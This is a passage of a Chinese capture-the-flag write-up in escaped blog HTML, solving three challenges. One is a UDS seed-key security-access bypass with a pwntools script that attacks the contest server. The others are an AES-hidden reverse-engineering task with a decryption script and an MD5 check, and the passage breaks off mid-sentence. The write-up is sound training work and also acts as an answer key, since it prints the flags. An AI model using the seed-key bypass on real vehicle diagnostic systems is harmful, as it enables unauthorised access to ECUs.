class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-334.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"885\" height=\"615\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-334.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3345\"  sizes=\"auto, (max-width: 885px) 100vw, 885px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5206\u6790\u9898\u76ee\u63d0\u793a\uff0c\u53ef\u77e5\u662f UDS 27\u670d\u52a1\u6311\u6218\u54cd\u5e94\u673a\u5236\u3002\n\u5ba2\u6237\u7aef\u53d1\u9001 27 01 \u8bf7\u6c42 Seed\uff0c\u670d\u52a1\u7aef\u54cd\u5e94 67 01 &#91;4\u5b57\u8282Seed]\u3002\n\u63d0\u53d6\u51fa Seed \u540e\uff0c\u4ee3\u5165\u9898\u76ee\u7ed9\u5b9a\u7684\u52a0\u5bc6\u7b97\u6cd5\u8ba1\u7b97\u51fa Key\u3002\u7b97\u6cd5\u4e3b\u8981\u5305\u542b\uff1a\u4e0e\u5e38\u6570\u5f02\u6216\u300132\u4f4d\u5faa\u73af\u5de6\u79fb3\u4f4d\u3001\u52a0\u4e0a\u5e38\u6570\u5e76\u622a\u65ad\u81f332\u4f4d\u3002\n\u6784\u9020\u5e76\u53d1\u9001 27 02 &#91;4\u5b57\u8282Key] \u8fdb\u884c\u9a8c\u8bc1\u3002<\/code><\/pre>\n\n\n\n<p>\u624b\u52a8\u8ba1\u7b97\u89e3<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u670d\u52a1\u5668\u8fd4\u56de\u7684 67 01 BB B6 CA C9 \u4e2d\uff0c67 01 \u662f 27 01 \u7684\u6b63\u54cd\u5e94\u5934\uff0c4 \u5b57\u8282 Seed \u662f 0xBBB6CAC9\u3002\n\n\u6267\u884c\u8ba1\u7b97\n\u4ee3\u5165\u9898\u76ee\u7ed9\u51fa\u7684\u7b97\u6cd5\uff0c\u8ba1\u7b97\u8fc7\u7a0b\u5982\u4e0b\uff1a\n\n\u4e00\uff1a\u4e0e\u5e38\u91cf\u5f02\u6216\nkey = 0xBBB6CAC9 ^ 0xA5A5A5A5\n\u7ed3\u679c\uff1a0x1E136F6C\n\n\u4e8c\uff1a32\u4f4d\u5faa\u73af\u5de6\u79fb 3 \u4f4d\nkey = ((0x1E136F6C &lt;&lt; 3) | (0x1E136F6C &gt;&gt; 29)) &amp; 0xFFFFFFFF\n\u5de6\u79fb 3 \u4f4d\u540e\uff1a0xF09B7B60\n\n\u4e09\uff1a\u52a0\u4e0a\u5e38\u91cf\u5e76\u622a\u65ad\u81f3 32 \u4f4d\nkey = (0xF09B7B60 + 0x12345678) &amp; 0xFFFFFFFF\n\u76f8\u52a0\u7ed3\u679c\u662f 0x102CFD1D8\uff0c\u622a\u65ad\u9ad8\u4f4d\u540e\u5f97\u5230\u6700\u7ec8 Key\uff1a0x02CFD1D8\n\n\u5c06\u7b97\u51fa\u7684 Key \u62fc\u63a5\u5230 27 02 \u670d\u52a1\u8bf7\u6c42\u540e\u9762\u5373\u53ef\n\u7b54\u6848\u5c31\u662f270202CFD1D8<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-335-1024x526.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"526\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-335-1024x526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3346\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>exp<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ndef calculate_key(seed):\n    key = seed ^ 0xA5A5A5A5\n    key = ((key &lt;&lt; 3) | (key &gt;&gt; 29)) &amp; 0xFFFFFFFF\n    key = (key + 0x12345678) &amp; 0xFFFFFFFF\n    return key\n\ndef main():\n    io = remote('nc1.ctfplus.cn', 16885)\n\n    io.recvuntil(b\"Input HEX (e.g. 2701 or 270212345678): \")\n    io.sendline(b\"2701\")\n\n    res = io.recvuntil(b\"Input HEX (e.g. 2701 or 270212345678): \").decode(errors='ignore')\n    clean_res = res.replace(\" \", \"\").replace(\"r\", \"\").replace(\"n\", \"\")\n    idx = clean_res.find(\"6701\")\n\n    seed = int(clean_res&#91;idx+4 : idx+12], 16)\n    key = calculate_key(seed)\n\n    io.sendline(f\"2702{key:08X}\".encode())\n    io.interactive()\n\nif __name__ == '__main__':\n    main()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-336-1024x185.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"185\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-336-1024x185.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3347\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>polarisctf{a2d99350-4333-4980-a18e-0e85ff69b4f5}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Illusion<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-337.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"785\" height=\"529\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-337.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3348\"  sizes=\"auto, (max-width: 785px) 100vw, 785px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-338.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"845\" height=\"546\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-338.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3349\"  sizes=\"auto, (max-width: 845px) 100vw, 845px\" \/><\/div><\/figure>\n\n\n\n<p>\u5206\u6790 main\u51fd\u6570<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-339-1024x524.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"524\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-339-1024x524.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3350\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-340-1024x571.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"571\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-340-1024x571.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3351\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u7a0b\u5e8f\u9996\u5148\u6821\u9a8c flag \u683c\u5f0f\u4e3a xmctf{...}\uff0c\u5e76\u9650\u5236\u5927\u62ec\u53f7\u5185\u7684 payload \u957f\u5ea6\u4e3a 18 \u5b57\u8282\u3002\u968f\u540e\u4f1a\u8fdb\u5165\u4e00\u6bb5\u7591\u4f3c RC4 \u7684\u52a0\u5bc6\u903b\u8f91\u3002\u5982\u679c\u5728\u8fd9\u91cc\u968f\u610f\u8f93\u5165\uff0c\u5fc5\u7136\u901a\u4e0d\u8fc7\u6821\u9a8c\uff0c\u7a0b\u5e8f\u8d70\u5230\u5047\u5206\u652f\u8c03\u7528 MessageBoxA \u5f39\u7a97\u5e76\u9000\u51fa\u3002\n\n\u9898\u76ee\u540d Illusion (\u5e7b\u89c9)\uff0cmain \u91cc\u7684\u903b\u8f91\u5176\u5b9e\u662f\u4e2a\u9677\u9631\u3002\u67e5\u770b\u7a0b\u5e8f\u5165\u53e3\u524d\u7684 .CRT \u521d\u59cb\u5316\u9636\u6bb5\uff0c\u4f1a\u53d1\u73b0 sub_140001000 \u51fd\u6570\u88ab\u63d0\u524d\u6267\u884c\uff0c\u5b83\u5bf9\u7cfb\u7edf API \u8fdb\u884c\u4e86 Hook\uff0c\u5c06 MessageBoxA \u7684\u6267\u884c\u6d41\u52ab\u6301\u5230\u4e86\u9690\u85cf\u7684 sub_1400010F0 \u51fd\u6570\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u5728 main \u91cc\u89e6\u53d1\u5931\u8d25\u5f39\u7a97\uff0c\u5b9e\u9645\u4e0a\u6b63\u662f\u8fdb\u5165\u771f\u5b9e\u9a8c\u8bc1\u903b\u8f91\u7684\u5165\u53e3\u3002<\/code><\/pre>\n\n\n\n<p>\u6838\u5fc3\u52a0\u5bc6\u51fd\u6570 sub_1400010F0<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-341-1024x570.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"570\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-341-1024x570.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3352\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-342-1024x548.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"548\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-342-1024x548.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3353\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>Padding\uff1a \u7a0b\u5e8f\u5148\u5c06\u4f20\u5165\u7684 18 \u5b57\u8282 payload \u8fdb\u884c PKCS#7 \u586b\u5145\uff0c\u8865\u9f50\u5230 32 \u5b57\u8282\u3002\nAES \u7279\u5f81\u8bc6\u522b\uff1a \u586b\u5145\u540e\u8c03\u7528\u4e86\u5185\u90e8\u7684\u52a0\u5bc6\u6a21\u5757\uff0c\u8ddf\u8fdb\u53bb\u53ef\u4ee5\u770b\u5230\u660e\u663e\u7684 S \u76d2\u4ee3\u6362\uff08SubBytes\uff09\u3001\u884c\u79fb\u4f4d\u548c\u5217\u6df7\u6dc6\u64cd\u4f5c\uff0c\u786e\u8ba4\u4e3a\u6807\u51c6\u7684 AES-128 \u7b97\u6cd5\uff0c\u6a21\u5f0f\u4e3a ECB\u3002\n\nKey \u63d0\u53d6\uff1a \u5bc6\u94a5\u786c\u7f16\u7801\u5728\u6808\u4e0a\u88ab\u52a8\u6001\u8d4b\u503c\uff0c\u63d0\u53d6 0x34123412, 0x34123412, 0x34123412, 0x21534541\uff0c\u6309\u5c0f\u7aef\u5e8f\u8f6c\u6362\u4e3a byte \u4e3a b\"x12x34x12x34x12x34x12x34x12x34x12x34AES!\"\u3002\n\u5bc6\u6587\u63d0\u53d6\uff1a \u51fd\u6570\u672b\u5c3e\u6709\u4e00\u957f\u4e32\u9010\u5b57\u8282\u6bd4\u5bf9\uff0c\u76f4\u63a5\u63d0\u53d6\u51fa 32 \u5b57\u8282\u7684\u771f\u5b9e\u5bc6\u6587\u3002\n\n\u65e0\u9b54\u6539 AES\uff0c\u76f4\u63a5\u62ff\u63d0\u53d6\u51fa\u7684\u771f\u5b9e\u5bc6\u94a5\u548c\u5bc6\u6587\uff0c\u4f7f\u7528\u6807\u51c6 AES-128-ECB \u89e3\u5bc6\uff0c\u622a\u53d6\u524d 18 \u5b57\u8282\uff08\u4e22\u5f03 padding \u90e8\u5206\uff09\u5373\u53ef\u5f97\u5230\u660e\u6587\uff0c\u62fc\u63a5 flag \u683c\u5f0f\u8f93\u51fa\u5c31\u884c<\/code><\/pre>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from Crypto.Cipher import AES\n\nkey = b\"x12x34x12x34x12x34x12x34x12x34x12x34AES!\"\nenc = bytes(&#91;\n    0xF2, 0x7B, 0x7E, 0x75, 0xB4, 0x5C, 0x08, 0xFA, \n    0x19, 0x3C, 0x8A, 0x4A, 0x04, 0xF8, 0x1F, 0x67, \n    0x1B, 0x05, 0x9C, 0xE7, 0x27, 0x40, 0x78, 0x6D, \n    0x28, 0xF6, 0xA8, 0xB8, 0x06, 0xC6, 0xC5, 0x51\n])\n\ncipher = AES.new(key, AES.MODE_ECB)\ndecrypted = cipher.decrypt(enc)\npayload = decrypted&#91;:18].decode('utf-8')\n\nprint(f\"xmctf{{{payload}}}\")<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-343.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1009\" height=\"84\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-343.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3354\"  sizes=\"auto, (max-width: 1009px) 100vw, 1009px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{R3a1_w0rld_M47ters}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u79fb\u52a8\u7684\u79d8\u5bc6<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-344.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"719\" height=\"539\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-344.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3355\"  sizes=\"auto, (max-width: 719px) 100vw, 719px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e8c\u8fdb\u5236\u6587\u4ef6 \u5206\u6790main\u51fd\u6570<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-345-1024x568.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"568\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-345-1024x568.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3356\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-346-1024x534.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"534\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-346-1024x534.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3357\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u8f93\u5165\u957f\u5ea6\u83b7\u53d6\uff1a\u901a\u8fc7 scanf(\"%29s\", s) \u8bfb\u53d6\u6700\u591a 29 \u4f4d\u7684\u8f93\u5165 \u3002\n\u7b2c\u4e00\u5c42\u6821\u9a8c\uff08\u53f3\u79fb 1 \u4f4d\uff09\uff1a\u7a0b\u5e8f\u904d\u5386\u8f93\u5165\uff0c\u6267\u884c v15&#91;i] = s&#91;i] &gt;&gt; 1\uff0c\u5c06\u6bcf\u4e2a\u5b57\u7b26\u53f3\u79fb 1 \u4f4d \u3002\u968f\u540e\u5c06\u7ed3\u679c\u4e0e\u5185\u5b58\u4e2d\u7684\u4e24\u6bb5\u6570\u636e xmmword_3080 \u548c xmmword_3090 \u8fdb\u884c\u6bd4\u5bf9 \u3002\n\u7b2c\u4e8c\u5c42\u6821\u9a8c\uff08MD5 \u9a8c\u8bc1\uff09\uff1a\u7a0b\u5e8f\u63a5\u7740\u8c03\u7528\u4e86 sub_1DF0 \u548c sub_1F60 \u5904\u7406\u539f\u59cb\u8f93\u5165 \u3002\u7531\u4e8e\u521d\u59cb\u5316\u5411\u91cf xmmword_3060 \u7684\u503c\u4e3a 1032547698BADCFEEFCDAB8967452301h \uff08\u5373\u6807\u51c6\u7684 MD5 \u5e38\u6570 0x67452301 \u7b49\u7684\u5c0f\u7aef\u5e8f\uff09\uff0c\u53ef\u4ee5\u77e5\u9053\u662f\u5728\u8ba1\u7b97 MD5\u3002\u6700\u540e\u5c06\u8ba1\u7b97\u51fa\u7684 MD5 \u4e0e xmmword_3070 \u7684\u503c\u6bd4\u5bf9 \u3002<\/code><\/pre>\n\n\n\n<p>\u53cc\u51fb\u4f2a\u4ee3\u7801\u4e2d\u7684\u53d8\u91cf\u540d\uff0c\u8df3\u8f6c\u5230 .rodata`\u53ea\u8bfb\u6570\u636e\u6bb5\u63d0\u53d6\u503c\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-347-1024x472.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"472\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-347-1024x472.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3358\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u53f3\u79fb\u6bd4\u5bf9\u503c \uff1a\nxmmword_3080: 2F192F3236183136323B3D333A31363Ch \nxmmword_3090: 3E191918182F391839303637382F192Fh \n\u6ce8\u610f\uff1a\u7531\u4e8e\u662f\u5c0f\u7aef\u5e8f\uff0c\u5728\u5185\u5b58\u4e2d\u5b9e\u9645\u662f\u4ece\u53f3\u5f80\u5de6\u8bfb\uff0c\u524d\u7f00\u521a\u597d\u5bf9\u5e94 xmctf{ \u53f3\u79fb 1 \u4f4d\u7684\u503c\n\n\u76ee\u6807 MD5 \u503c\uff1a\nxmmword_3070: 0ADD32914868A321CB319007198C0223Ah \n\u6309\u5c0f\u7aef\u5e8f\u8f6c\u6362\u4e3a\u6807\u51c6 MD5 \u5b57\u7b26\u4e32\u5373\u4e3a\uff1a3a22c098710019b31c328a861429d3ad<\/code><\/pre>\n\n\n\n<p>\u9006\u5411\u4e0e\u7206\u7834<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u4fe1\u606f\u4e22\u5931\uff1a\u53f3\u79fb 1 \u4f4d (&gt;&gt; 1) 